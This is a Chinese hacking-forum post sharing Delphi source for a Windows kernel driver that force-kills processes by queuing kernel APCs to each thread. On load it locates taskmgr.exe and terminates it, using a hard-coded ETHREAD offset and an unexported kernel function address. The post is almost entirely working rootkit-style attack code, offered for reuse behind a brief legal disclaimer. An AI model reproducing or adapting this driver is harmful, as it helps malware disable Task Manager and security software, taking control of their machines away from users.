HanDs
管理员

[Delphi文章] 插apc杀进程驱动源码 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

从c代码转的,备份一下,里面有硬编码

unit MyDriver;
{$HINTS OFF}
{$WARNINGS OFF}
interface

uses
nt_status, ntoskrnl, native, winioctl, fcall, macros;

type
TKILL = record
    PID: DWORD;
    XP_PsGetNextProcessThread: dword;
end;
PKILL = ^TKILL;

const
DeviceName = '\Device\KPTest'; ///设备名
DosDeviceName = '\??\KPTest'; ///符号链接名
NtKernel = 'ntoskrnl.exe';
SystemProcessesAndThreadsInformation = 05;
PS_CROSS_THREAD_FLAGS_SYSTEM =$10;

type
KAPC_ENVIRONMENT = (OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment);
MODE = (KernelMode, UserMode, MaximumMode);
KPRIORITY = LONG;
PKAPC_STATE = ^KAPC_STATE;
KAPC_STATE = packed record
    ApcListHead: array[0..1] of TListEntry;
    Process: PVOID;
    KernelApcInProgress: boolean;
    KernelApcPending: boolean;
    UserApcPending: boolean;
end;

PAnsiString = ^TAnsiString;
TAnsiString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PChar;
end;
PKNORMAL_ROUTINE = procedure(NormalContext, SystemArgument1, SystemArgument2: PVOID); stdcall;
PKRUNDOWN_ROUTINE = procedure(Apc: PKAPC); stdcall;
PKKERNEL_ROUTINE = procedure(Apc: PKAPC; NormalRoutine: PKNORMAL_ROUTINE; NormalContext, SystemArgument1, SystemArgument2: PVOID); stdcall;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS; stdcall;

function KeStackAttachProcess(Process: PVOID; ApcState: PKAPC_STATE): NTSTATUS; stdcall; external NtKernel name '_KeStackAttachProcess';
function KeUnstackDetachProcess(ApcState: PKAPC_STATE): NTSTATUS; stdcall; external NtKernel name '_KeUnstackDetachProcess';
function PsGetProcessImageFileName(Process: PVOID): PUCHAR; stdcall; external NtKernel name '_PsGetProcessImageFileName';
function KeGetCurrentThread(): PKThread; stdcall; external NtKernel name '_KeGetCurrentThread';
function PsGetCurrentThread(): PEThread; stdcall; external NtKernel name '_PsGetCurrentThread';
function PsGetCurrentProcessId(): HANDLE; stdcall; external NtKernel name '_PsGetCurrentProcessId';
procedure ObDereferenceObject(MyObject: PVOID); stdcall; external NtKernel name '_ObDereferenceObject';
function PsTerminateSystemThread(ExitStatus: NTSTATUS): NTSTATUS; external NtKernel name '_PsTerminateSystemThread';

type
TPSGETNEXTPROCESSTHREAD = function(Process: pvoid; Thread: PETHREAD): PETHREAD; stdcall;


function KeInitializeApc(
Apc: PKAPC;
Thread: PVOID;
Environment: KAPC_ENVIRONMENT;
KernelRoutine: PKKERNEL_ROUTINE;
RundownRoutine: PKRUNDOWN_ROUTINE;
NormalRoutine: PKNORMAL_ROUTINE;
ProcessorMode: KPROCESSOR_MODE;
NormalContext: PVOID
): NTSTATUS; stdcall; external NtKernel name '_KeInitializeApc';

function KeInsertQueueApc(
Apc: PKAPC;
SystemArgument1: PVOID;
SystemArgument2: PVOID;
Increment: KPRIORITY
): NTSTATUS; stdcall; external NtKernel name '_KeInsertQueueApc';

var
g_usDeviceName, g_usSymbolicLinkName: UNICODE_STRING;


implementation

function gettargetpid(procname: pchar): ULONG;
var
cb: DWORD;
p, pTemp: PVOID;
pnProcessName: TAnsiString;
aa: Tansistring;
iCnt: integer;
pThreadAddr: Pointer;
uModule: ULONG;
process: PVOID;
begin
cb := 0;
result := 0;
ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, @p, 0, @cb);
if cb <> 0 then
begin
    p := ExAllocatePool(PagedPool, cb);
    if p <> nil then
    begin
      if ZwQuerySystemInformation(SystemProcessesAndThreadsInformation,
        p, cb, @cb) = STATUS_SUCCESS then
      begin
        pTemp := p;
        repeat
          with (PSYSTEM_PROCESS_INFORMATION(pTemp))^.Process_NT5.Process do
          begin
            RtlUnicodeStringToAnsiString(@pnProcessName, @ProcessName, True);
            //DbgPrint(pnProcessName.Buffer);
            if (_stricmp(pnProcessName.Buffer, 'taskmgr.exe') = 0) then
            begin
              PsLookupProcessByProcessId(ProcessId, process);
              result := ProcessId;
              exit;
            end;
            inc(PCHAR(pTemp), NextEntryDelta);
          end;
        until (PSYSTEM_PROCESS_INFORMATION(pTemp))^.Process_NT5.Process.NextEntryDelta = 0;
      end;
      ExFreePool(p);
    end;
end;
end;


function DispatchCreateClose(p_DeviceObject: PDEVICE_OBJECT; p_Irp: PIRP): NTSTATUS; stdcall; ///对打开或关闭请求的响应 ,这里就是简单的返回一个成功
begin
p_Irp^.IoStatus.Status := STATUS_SUCCESS; ///设置状态为STATUS_SUCCESS 即成功
p_Irp^.IoStatus.Information := 0;
IofCompleteRequest(p_Irp, IO_NO_INCREMENT); ///调用IoCompleteRequest完成IRP
Result := STATUS_SUCCESS;
end;

function KernelTerminateThreadRoutine(
Apc: PKAPC;
NormalRoutine: PKNORMAL_ROUTINE;
NormalContext: PVOID;
SystemArgument1: PVOID;
SystemArgument2: PVOID
):Ulong;stdcall;
begin
ExFreePool(Apc);
PsTerminateSystemThread(0);
//DbgPrint('oh yeah!');
result:=DbgPrint('oh yeah!');
end;

function MyTerminateThread(Thread: PETHREAD): BOOLEAN;
var
bSucceed: BOOLEAN;
Apc :PKAPC;
begin
Apc := nil;
bSucceed := FALSE;
if not (MmIsAddressValid(Thread)) then
begin
    result := false;
    exit;
end;
Apc := ExAllocatePool(NonPagedPool, sizeof(KAPC));
DbgPrint('ethread is:%x', ulong(Thread));
PULONG(ulong(Thread)+ $248 )^:=$00000010;
DbgPrint('Apc^ is:%x', Apc^);
DbgPrint('Apc is:%x', Apc);
DbgPrint('sizeof(Apc) is:%x', sizeof(KAPC));
DbgPrint('Thread is:%x', Thread);
DbgPrint('OriginalApcEnvironment is:%x', OriginalApcEnvironment);
DbgPrint([email protected] is:%x', @KernelTerminateThreadRoutine);
DbgPrint('KernelMode is:%x', KernelMode);

if Apc=nil then DbgPrint('失败');
KeInitializeApc(Apc,
    Thread,
    OriginalApcEnvironment,
    @KernelTerminateThreadRoutine,
    nil,
    nil,
    KPROCESSOR_MODE(KernelMode),
    nil);
bSucceed := BOOLEAN(KeInsertQueueApc(Apc, PVOID(0), PVOID(0), 0));
result := bSucceed;
end;

function Kill(eprocess: pvoid): NTSTATUS;
var
st: NTSTATUS;
ethread: PETHREAD;
MyPspGetNetxtThread: TPSGETNEXTPROCESSTHREAD;
begin
st := STATUS_SUCCESS;
ethread := nil;
MyPspGetNetxtThread := TPSGETNEXTPROCESSTHREAD($8057EAEC);
ethread := MyPspGetNetxtThread(eprocess, nil);
while ethread <> nil do
begin
    MyTerminateThread(ethread);
    ethread := MyPspGetNetxtThread(eprocess, ethread);
end;
result := st;
end;

procedure KillByPid(pid: ulong);
var
st: NTSTATUS;
eprocess: pvoid;
begin
st := STATUS_SUCCESS;
eprocess := nil;
DbgPrint('PID is:%d', pid);
if pid=0 then exit;
st := PsLookupProcessByProcessId(pid, eprocess);
if (NT_SUCCESS(st)) then
begin
    ObDereferenceObject(eprocess);
    st := Kill(eprocess);
end;
end;


function DispatchControl(p_DeviceObject: PDEVICE_OBJECT; p_Irp: PIRP): NTSTATUS; stdcall;
var
dwIoControlCode: DWORD;
dwInputBufferLength, dwOutBufferLength: DWORD;
status: NTSTATUS;
dwBytesReturned: DWORD;
psl: PIO_STACK_LOCATION;
IOCTL_KILL_PROCESS: DWORD;
pSystemBuffer: Pointer;
//InBuffer: PKILL;
begin
dwBytesReturned := 0;
psl := IoGetCurrentIrpStackLocation(p_Irp); {取IRP的stack location的指针}
dwIoControlCode := psl^.Parameters.DeviceIoControl.IoControlCode; ///取控制码
dwInputBufferLength := psl^.Parameters.DeviceIoControl.InputBufferLength; ///传入Buffer的大小
dwOutBufferLength := psl^.Parameters.DeviceIoControl.OutputBufferLength; ///传出Buffer的大小
pSystemBuffer := p_Irp^.AssociatedIrp.SystemBuffer; ///传入Buffer的指针

IOCTL_KILL_PROCESS := CTL_CODE(FILE_DEVICE_UNKNOWN, $805, METHOD_BUFFERED, FILE_READ_ACCESS + FILE_WRITE_ACCESS); ///生成我们的控制码

if dwIoControlCode = IOCTL_KILL_PROCESS then ///如果是我们的控制码
begin
    DbgPrint('Control Code is:0x%X', dwIoControlCode); ///输出我们的控制码
    dwBytesReturned := 0; ///这里设置返回数据的大小
    status := STATUS_SUCCESS;
end else
begin
    status := STATUS_INVALID_DEVICE_REQUEST;
end;

p_Irp^.IoStatus.Status := status;
p_Irp^.IoStatus.Information := dwBytesReturned;

IofCompleteRequest(p_Irp, IO_NO_INCREMENT); ///完成IRP
Result := status;
end;

procedure DriverUnload(p_DriverObject: PDRIVER_OBJECT); stdcall;
begin
DbgPrint('Driver Unload!'); ///输出调试字符串
IoDeleteSymbolicLink(@g_usSymbolicLinkName); ///删除我们创建的符号链接
IoDeleteDevice(p_DriverObject^.DeviceObject); ///删除我们创建的设备
end;

///驱动入口点

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS;
var
status: NTSTATUS;
mypid:ulong;
DeviceObject: TDeviceObject;
begin
status := STATUS_DEVICE_CONFIGURATION_ERROR;
///初始化UNICODE_STRING结构
RtlInitUnicodeString(g_usDeviceName, DeviceName);
RtlInitUnicodeString(g_usSymbolicLinkName, DosDeviceName);
mypid:= gettargetpid('taskmgr.exe');
DbgPrint('mypid is:%d', mypid);
KillByPid(mypid);
///创建设备
if (IoCreateDevice(pDriverObject, 0, @g_usDeviceName,
    FILE_DEVICE_UNKNOWN, 0, FALSE,
    DeviceObject) = STATUS_SUCCESS) then
begin
    ///如果创建成功
    DbgPrint('Create Device Success'); ///输出调试字符串
    ///创建符号链接
    if (IoCreateSymbolicLink(@g_usSymbolicLinkName,
      @g_usDeviceName) = STATUS_SUCCESS) then
    begin
      ///如果创建符号链接成功执行下面的代码
      DbgPrint('Create SymbolicLink Success'); ///输出调试字符串
      ///开始设置我们自己的分发函数
      pDriverObject^.MajorFunction[IRP_MJ_CREATE] := @DispatchCreateClose; ///这里把IRP_MJ_CREATE IRP_MJ_CLOSE设置到一个函数上
      pDriverObject^.MajorFunction[IRP_MJ_CLOSE] := @DispatchCreateClose;
      pDriverObject^.MajorFunction[IRP_MJ_DEVICE_CONTROL] := @DispatchControl; ///对DeviceIoControl的响应,非常重要
      pDriverObject^.DriverUnload := @DriverUnload; ///当驱动动态卸载时执行DriverUnload
      status := STATUS_SUCCESS; ///返回STATUS_SUCCESS;
    end else ///如果创建符号链接不成功
    begin
      DbgPrint('Create SymbolicLink Failed'); ///输出调试字符串
      IoDeleteDevice(@DeviceObject); ///删除设备
    end;
end;
Result := status;
end;

end.


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
ap c 进程 驱动 源码
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复